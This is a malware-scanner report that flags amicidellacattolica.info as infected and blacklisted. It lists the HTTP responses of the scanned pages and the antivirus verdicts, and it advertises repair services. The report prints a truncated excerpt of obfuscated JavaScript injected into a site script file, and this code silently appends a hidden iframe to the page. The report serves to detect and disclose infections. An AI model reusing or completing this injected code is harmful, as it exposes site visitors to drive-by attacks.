New scan:

Malware Scanner report for amicidellacattolica.info

Malicious/Suspicious/Total urls checked
1/0/13
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "amicidellacattolica.info" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=amicidellacattolica.info

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://amicidellacattolica.info/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:07 GMT
Location: http://www.amicidellacattolica.info/
Server: Apache
Content-Length: 244
Content-Type: text/html; charset=iso-8859-1
clean
http://www.amicidellacattolica.info/
HTTP/1.1 301 Moved Permanently
Cache-Control: private
Date: Fri, 27 Feb 2015 03:37:07 GMT
Location: http://www.amicidellacattolica.com
Server: Microsoft-IIS/6.0
Content-Length: 0
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCCCASRQD=DKPACCNDOFJADHFOOOEOJPDC; path=/
X-Powered-By: ASP.NET
clean
http://www.amicidellacattolica.com/
200 OK
Content-Length: 7149
Content-Type: text/html
clean
http://www.amicidellacattolica.com/SpryAssets/SpryEffects.js
200 OK
Content-Length: 87466
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)


var var2=6617;if(var2<4795){var var1=23;var1+=1092}var var3=null;var var1=awn('ynf4NC5vneVPDcvldS',9);var var4=6190;var4--;var var3=awn('4xyqrl',3);var var5=0.007;var5+=5;var var6=['ava','aal'];var var2=awn('0mmaXz',7);var var7=0.027;var7-=5766;var var9=9;if(var9==10){var var8=6450;var8-=7101}var var4=awn('oXK2qYQ4wi',15);var var10=false;var var11=0.007;function awn(str,shift){var var4,ext,ret,var5,len,var6,sux,cnt2,var2,ch,var1,ch,cnt1,var3,ich,sh,pos;var var3=0.008;if(var3==3649){var
... 3070 bytes are skipped ...
>2141){var var51=3973;if(var51<0.016){var var50=0.009;var50+=0.0163}var var52=0.007;var52--}}} ifrm.style.visibility='hidden'; var var57=21;if(var57>0){var var56=19;var56-=9} document.body.appendChild(ifrm);var var58=0.011;var58-=5438;var var59=[12,0,6,18,24,30];iframeWasCreated=true;var var60=2581;var60-=29}var var61=0;do{var var62=0.0093;var62++;var61++}while(var61<8)}catch(e){iframeWasCreated=undefined}function wap(why,hoy){var var63=true;return hoy}}, 100);

Antivirus reports:

AntiVir
JS/iFrame.RR
Avast
JS:Iframe-UG [Trj]
Ikarus
Trojan
nProtect
Trojan.JS.Iframe.CKE
Comodo
TrojWare.JS.Agent.AX
Kaspersky
HEUR:Trojan.Script.Iframer
F-Secure
Trojan.JS.Iframe.CKE
Norman
Agent.ALETV
GData
Trojan.JS.Iframe.CKE
BitDefender
Trojan.JS.Iframe.CKE

http://amicidellacattolica.info/SpryAssets/SpryTabbedPanels.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:08 GMT
Location: http://www.amicidellacattolica.info/SpryAssets/SpryTabbedPanels.js
Server: Apache
Content-Length: 274
Content-Type: text/html; charset=iso-8859-1
clean
http://www.amicidellacattolica.info/spryassets/sprytabbedpanels.js
404 Not Found
Content-Length: 1635
Content-Type: text/html
clean
http://www.amicidellacattolica.info/test404page.js
404 Not Found
Content-Length: 1635
Content-Type: text/html
clean
http://amicidellacattolica.info/js/prototype.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:09 GMT
Location: http://www.amicidellacattolica.info/js/prototype.js
Server: Apache
Content-Length: 259
Content-Type: text/html; charset=iso-8859-1
clean
http://www.amicidellacattolica.info/js/prototype.js
404 Not Found
Content-Length: 1635
Content-Type: text/html
clean
http://amicidellacattolica.info/js/scriptaculous.js?load=effects,builder
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:10 GMT
Location: http://www.amicidellacattolica.info/js/scriptaculous.js?load=effects,builder
Server: Apache
Content-Length: 284
Content-Type: text/html; charset=iso-8859-1
clean
http://www.amicidellacattolica.info/js/scriptaculous.js?load=effects,builder
404 Not Found
Content-Length: 1635
Content-Type: text/html
clean
http://amicidellacattolica.info/js/lightbox.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:09 GMT
Location: http://www.amicidellacattolica.info/js/lightbox.js
Server: Apache
Content-Length: 258
Content-Type: text/html; charset=iso-8859-1
clean
http://www.amicidellacattolica.info/js/lightbox.js
404 Not Found
Content-Length: 1635
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: amicidellacattolica.info

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 27 Feb 2015 03:37:07 GMT
Location: http://www.amicidellacattolica.info/
Server: Apache
Content-Length: 244
Content-Type: text/html; charset=iso-8859-1

...244 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: amicidellacattolica.info
Referer: http://www.google.com/search?q=amicidellacattolica.info

Result:
The result is similar to the first query. There are no suspicious redirects found.